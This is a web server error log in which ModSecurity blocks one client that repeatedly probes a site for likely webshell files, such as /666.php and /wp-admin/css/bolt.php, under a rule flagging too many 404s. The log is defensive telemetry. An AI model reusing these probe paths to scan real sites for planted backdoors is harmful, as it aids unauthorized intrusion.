[Fri Mar 27 18:16:14.560391 2026] [:error] [pid 27749:tid 27809] [client 20.91.226.172:26825] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "acZY7sEqyoMni2Q6_X7gSAAAAFI"]
[Fri Mar 27 18:16:15.127432 2026] [:error] [pid 4341:tid 4361] [client 20.91.226.172:15571] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "acZY7-KJWrNB5dMlERF4GgAAAZI"]
[Fri Mar 27 18:16:15.659149 2026] [:error] [pid 27749:tid 27814] [client 20.91.226.172:2081] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "acZY78EqyoMni2Q6_X7gTAAAAFc"]
[Fri Mar 27 18:16:16.210999 2026] [:error] [pid 27743:tid 27779] [client 20.91.226.172:26053] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "acZY8CA46UYYLqzw99CtHwAAAA8"]
[Fri Mar 27 18:16:16.739281 2026] [:error] [pid 27749:tid 27794] [client 20.91.226.172:2774] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "acZY8MEqyoMni2Q6_X7gVAAAAEM"]
[Fri Mar 27 18:16:17.302181 2026] [:error] [pid 4341:tid 4355] [client 20.91.226.172:65147] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acZY8eKJWrNB5dMlERF4IAAAAYw"]
[Fri Mar 27 18:16:17.850824 2026] [:error] [pid 27743:tid 27766] [client 20.91.226.172:35015] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acZY8SA46UYYLqzw99CtLAAAAAI"]
[Fri Mar 27 18:16:18.406923 2026] [:error] [pid 4341:tid 4365] [client 20.91.226.172:23038] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acZY8uKJWrNB5dMlERF4IwAAAZY"]
[Fri Mar 27 18:16:18.955477 2026] [:error] [pid 27743:tid 27769] [client 20.91.226.172:19583] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acZY8iA46UYYLqzw99CtLwAAAAU"]
[Fri Mar 27 18:16:19.499795 2026] [:error] [pid 27749:tid 27793] [client 20.91.226.172:22970] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acZY88EqyoMni2Q6_X7gYQAAAEI"]
[Fri Mar 27 18:16:20.064141 2026] [:error] [pid 27851:tid 27870] [client 20.91.226.172:16947] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acZY9HR2ccxe3RMCLbrVsAAAAMw"]
[Fri Mar 27 18:16:20.610453 2026] [:error] [pid 4341:tid 4351] [client 20.91.226.172:21471] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acZY9OKJWrNB5dMlERF4KQAAAYg"]
[Fri Mar 27 18:16:21.171831 2026] [:error] [pid 4293:tid 4306] [client 20.91.226.172:17311] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acZY9ZLjeJUC3OKtEx82YQAAAUs"]
[Fri Mar 27 18:16:21.711720 2026] [:error] [pid 4341:tid 4362] [client 20.91.226.172:19552] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "acZY9eKJWrNB5dMlERF4LAAAAZM"]
[Fri Mar 27 18:16:22.273164 2026] [:error] [pid 4341:tid 4360] [client 20.91.226.172:17296] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "acZY9uKJWrNB5dMlERF4MQAAAZE"]
[Fri Mar 27 18:16:22.846561 2026] [:error] [pid 27750:tid 27823] [client 20.91.226.172:2709] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "acZY9oaSil5rd17ieLzbfQAAAIU"]
[Fri Mar 27 18:16:23.419171 2026] [:error] [pid 4341:tid 4358] [client 20.91.226.172:23026] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "acZY9-KJWrNB5dMlERF4MwAAAY8"]
[Fri Mar 27 18:16:23.970898 2026] [:error] [pid 4293:tid 4307] [client 20.91.226.172:2103] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "acZY95LjeJUC3OKtEx82dQAAAUw"]
[Fri Mar 27 18:16:24.520749 2026] [:error] [pid 4293:tid 4306] [client 20.91.226.172:2752] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "acZY-JLjeJUC3OKtEx82fAAAAUs"]
[Fri Mar 27 18:16:25.073572 2026] [:error] [pid 27851:tid 27862] [client 20.91.226.172:43241] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "acZY-XR2ccxe3RMCLbrVuAAAAMQ"]
[Fri Mar 27 18:16:25.609490 2026] [:error] [pid 27851:tid 27860] [client 20.91.226.172:9141] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "acZY-XR2ccxe3RMCLbrVuwAAAMI"]
[Fri Mar 27 18:16:26.187152 2026] [:error] [pid 4293:tid 4299] [client 20.91.226.172:2706] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "acZY-pLjeJUC3OKtEx82hwAAAUQ"]
[Fri Mar 27 18:16:26.745170 2026] [:error] [pid 4293:tid 4308] [client 20.91.226.172:8179] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "acZY-pLjeJUC3OKtEx82igAAAU0"]
[Fri Mar 27 18:16:27.326019 2026] [:error] [pid 4293:tid 4316] [client 20.91.226.172:9091] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "acZY-5LjeJUC3OKtEx82kQAAAVU"]
[Fri Mar 27 18:16:27.890427 2026] [:error] [pid 4293:tid 4312] [client 20.91.226.172:15613] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "acZY-5LjeJUC3OKtEx82mAAAAVE"]
[Fri Mar 27 18:16:28.458429 2026] [:error] [pid 4293:tid 4302] [client 20.91.226.172:15584] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxw.php"] [unique_id "acZY_JLjeJUC3OKtEx82nAAAAUc"]
[Fri Mar 27 18:16:29.004775 2026] [:error] [pid 4293:tid 4315] [client 20.91.226.172:35030] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxw.php"] [unique_id "acZY_ZLjeJUC3OKtEx82ogAAAVQ"]
[Fri Mar 27 18:16:29.574670 2026] [:error] [pid 4341:tid 4355] [client 20.91.226.172:43238] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxw.php"] [unique_id "acZY_eKJWrNB5dMlERF4OAAAAYw"]
[Fri Mar 27 18:16:30.103991 2026] [:error] [pid 27851:tid 27879] [client 20.91.226.172:19539] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxw.php"] [unique_id "acZY_nR2ccxe3RMCLbrVvwAAANU"]
[Fri Mar 27 18:16:30.644763 2026] [:error] [pid 4293:tid 4304] [client 20.91.226.172:18005] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "acZY_pLjeJUC3OKtEx82rgAAAUk"]
[Fri Mar 27 18:16:31.193249 2026] [:error] [pid 4293:tid 4319] [client 20.91.226.172:2912] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "acZY_5LjeJUC3OKtEx82tAAAAVg"]
[Fri Mar 27 18:16:31.726234 2026] [:error] [pid 27851:tid 27874] [client 20.91.226.172:65122] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "acZY_3R2ccxe3RMCLbrVxgAAANA"]
[Fri Mar 27 18:16:32.272057 2026] [:error] [pid 4293:tid 4303] [client 20.91.226.172:11702] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "acZZAJLjeJUC3OKtEx82wAAAAUg"]
[Fri Mar 27 18:16:32.828284 2026] [:error] [pid 4293:tid 4300] [client 20.91.226.172:35034] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "acZZAJLjeJUC3OKtEx82xQAAAUU"]
[Fri Mar 27 18:16:33.392398 2026] [:error] [pid 63897:tid 63912] [client 20.91.226.172:26823] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "acZZAWVSkmYmLu7ycYgvFQAAAQ0"]
[Fri Mar 27 18:16:33.982349 2026] [:error] [pid 27851:tid 27860] [client 20.91.226.172:2704] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "acZZAXR2ccxe3RMCLbrVygAAAMI"]
[Fri Mar 27 18:16:34.535057 2026] [:error] [pid 4293:tid 4314] [client 20.91.226.172:26835] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "acZZApLjeJUC3OKtEx82ywAAAVM"]
[Fri Mar 27 18:16:35.070987 2026] [:error] [pid 63897:tid 63906] [client 20.91.226.172:9118] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acZZA2VSkmYmLu7ycYgvGgAAAQc"]
[Fri Mar 27 18:16:35.614959 2026] [:error] [pid 27749:tid 27803] [client 20.91.226.172:65098] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acZZA8EqyoMni2Q6_X7gbgAAAEw"]
[Fri Mar 27 18:16:36.148009 2026] [:error] [pid 63897:tid 63904] [client 20.91.226.172:43225] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acZZBGVSkmYmLu7ycYgvHwAAAQU"]
[Fri Mar 27 18:16:36.688792 2026] [:error] [pid 63897:tid 63908] [client 20.91.226.172:8141] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acZZBGVSkmYmLu7ycYgvIwAAAQk"]
[Fri Mar 27 18:16:37.247391 2026] [:error] [pid 63897:tid 63899] [client 20.91.226.172:35024] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acZZBWVSkmYmLu7ycYgvKAAAAQA"]
[Fri Mar 27 18:16:37.781091 2026] [:error] [pid 4341:tid 4364] [client 20.91.226.172:8184] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acZZBeKJWrNB5dMlERF4QQAAAZU"]
[Fri Mar 27 18:16:38.338730 2026] [:error] [pid 27851:tid 27880] [client 20.91.226.172:65103] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acZZBnR2ccxe3RMCLbrV1QAAANY"]
[Fri Mar 27 18:16:38.872715 2026] [:error] [pid 4341:tid 4352] [client 20.91.226.172:26068] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acZZBuKJWrNB5dMlERF4QgAAAYk"]
[Fri Mar 27 18:16:39.442145 2026] [:error] [pid 63897:tid 63918] [client 20.91.226.172:2054] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "acZZB2VSkmYmLu7ycYgvNQAAARM"]
[Fri Mar 27 18:16:39.972740 2026] [:error] [pid 27749:tid 27814] [client 20.91.226.172:17318] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "acZZB8EqyoMni2Q6_X7gdAAAAFc"]
[Fri Mar 27 18:16:40.528603 2026] [:error] [pid 63897:tid 63920] [client 20.91.226.172:11688] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "acZZCGVSkmYmLu7ycYgvRQAAARU"]
[Fri Mar 27 18:16:41.061305 2026] [:error] [pid 63897:tid 63901] [client 20.91.226.172:11666] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "acZZCWVSkmYmLu7ycYgvRwAAAQI"]
[Fri Mar 27 18:16:41.610118 2026] [:error] [pid 27749:tid 27793] [client 20.91.226.172:18046] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acZZCcEqyoMni2Q6_X7gdQAAAEI"]
[Fri Mar 27 18:16:42.155097 2026] [:error] [pid 4293:tid 4303] [client 20.91.226.172:11697] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acZZCpLjeJUC3OKtEx822wAAAUg"]
[Fri Mar 27 18:16:42.721290 2026] [:error] [pid 4341:tid 4361] [client 20.91.226.172:9102] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acZZCuKJWrNB5dMlERF4SwAAAZI"]
[Fri Mar 27 18:16:43.287975 2026] [:error] [pid 4341:tid 4364] [client 20.91.226.172:15783] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acZZC-KJWrNB5dMlERF4TwAAAZU"]
[Fri Mar 27 18:16:43.862093 2026] [:error] [pid 63897:tid 63916] [client 20.91.226.172:2724] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "acZZC2VSkmYmLu7ycYgvUAAAARE"]
[Fri Mar 27 18:16:44.414696 2026] [proxy_fcgi:error] [pid 27749:tid 27811] [client 20.91.226.172:16910] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:16:44.682168 2026] [proxy_fcgi:error] [pid 27749:tid 27803] [client 20.91.226.172:16910] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:16:44.954377 2026] [proxy_fcgi:error] [pid 27749:tid 27792] [client 20.91.226.172:16910] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:16:45.488154 2026] [proxy_fcgi:error] [pid 27749:tid 27806] [client 20.91.226.172:16910] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:16:45.754790 2026] [proxy_fcgi:error] [pid 27749:tid 27814] [client 20.91.226.172:16910] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:16:46.020739 2026] [proxy_fcgi:error] [pid 27749:tid 27801] [client 20.91.226.172:16910] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:16:46.288323 2026] [proxy_fcgi:error] [pid 27749:tid 27798] [client 20.91.226.172:16910] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:16:46.554680 2026] [proxy_fcgi:error] [pid 27749:tid 27808] [client 20.91.226.172:16910] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:16:46.820433 2026] [proxy_fcgi:error] [pid 27749:tid 27811] [client 20.91.226.172:16910] AH01071: Got error 'Primary script unknown'
